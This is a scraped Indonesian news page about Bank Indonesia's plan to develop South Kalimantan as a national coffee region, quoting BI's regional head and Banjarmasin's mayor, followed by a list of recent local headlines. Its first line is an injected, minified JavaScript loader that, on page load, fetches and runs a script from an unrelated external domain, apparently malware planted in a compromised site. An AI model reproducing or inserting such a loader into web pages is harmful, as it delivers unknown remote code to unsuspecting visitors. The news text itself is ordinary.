(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

BI Ingin Jadikan Kalsel Kawasan Pengembangan Kopi Nasional


BANJARMASIN, Perwakilan Bank Indonesia (BI) Wilayah Kalsel melihat potensi Provinsi Kalsel untuk menjadi salah satu kawasan pengembangan kopi Nusantara di Indonesia. Kepala Perwakilan BI Wilayah Kalsel Herawanto mengatakan, potensi tersebut punya peluang untuk direalisasikan, mengingat di Kalsel memiliki beberapa produk biji kopi yang berkualitas, diantaranya Bijih Kopi Aranio Banjar, Pengaron, Mataraman hingga Biih.

“Produksi Bijih Kopi Kalsel pun bahkan menurut data Kementrian Pertanian mencapai 6.800 Ton pertahun. Ini sudah jauh lebih besar ketimbang Maluku dan Papua yang produksinya masih sekitar 2.500 Ton pertahun,” ungkapnya disela kegiatan Duta Borneo Coffe Festival, Kamis (22/11) di Atrium Duta Mall Banjarmasin.

Karena itulah agar bisa merealisasikan Provinsi Kalsel menjadi salah satu pusat pengembangan kopi Nusantara, Perwakilan BI Wilayah Kalsel berkomitmen untuk ikut mendorong pengembangan bisnis kopi baik mulai dari hulu hingga hilir.

“Di hulu nantinya kita akan bantu petani untuk meningkatkan kualitas kopi lokal. Lalu dihilir kita juga akan bantu pengembangan usaha pebisnis kopi lokal agar makin propesional,” tambahnya.

Namun memang untuk saat ini pihaknya masih melakukan pemetaan terkait potensi pengembangan bisnis kopi dari hulu dan hilir. Dengan pemetaan yang baik maka tentunya akan mudah bagi pihaknya maupun pihak-pihak terkait dalam merumuskan strategi tepat untuk mengembangkannya.

“Kedepan kalau komoditas kopi ini bisa betul-betul digarap dengan serius, maka bukan hanya menjadi peluang bisnis bagi masyarakat, tapi juga mampu mendorong industri lainnya berkembang, salah satunya sektor pariwisata,” katanya.

Sementara itu, Walikota Banjarmasin Ibnu Sina mengakui, bisnis warung kopi di Kota Banjarmasin kini sudah sangat berkembang. Bahkan dibeberapa ruas jalan strategis sudah banyak outlet warung kopi lokal maupun franchise yang menjajakan aneka kopi untuk dinikmati masyarakat.

Pemerintah Kota (Pemkot) Banjarmasin sendiri baginya sangat mendukung geliat bisnis warung kopi tersebut. Bahkan pihaknya berencana membuat sebuah terobosan agar pengusaha warung kopi lokal makin berkembang usahanya.

“Kita ada wacana untuk mewadahi berbagai pelaku Usaha Kecil Mikro dan Menengah (UMKM) di wisata siring tendean, tidak terkecuali pebisnis warung kopi. Nah ini lagi coba kita konsep agar bisa membuat turis lokal dan mancanegara nyaman namun tidak kumuh,” pungkasnya.(arief)


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.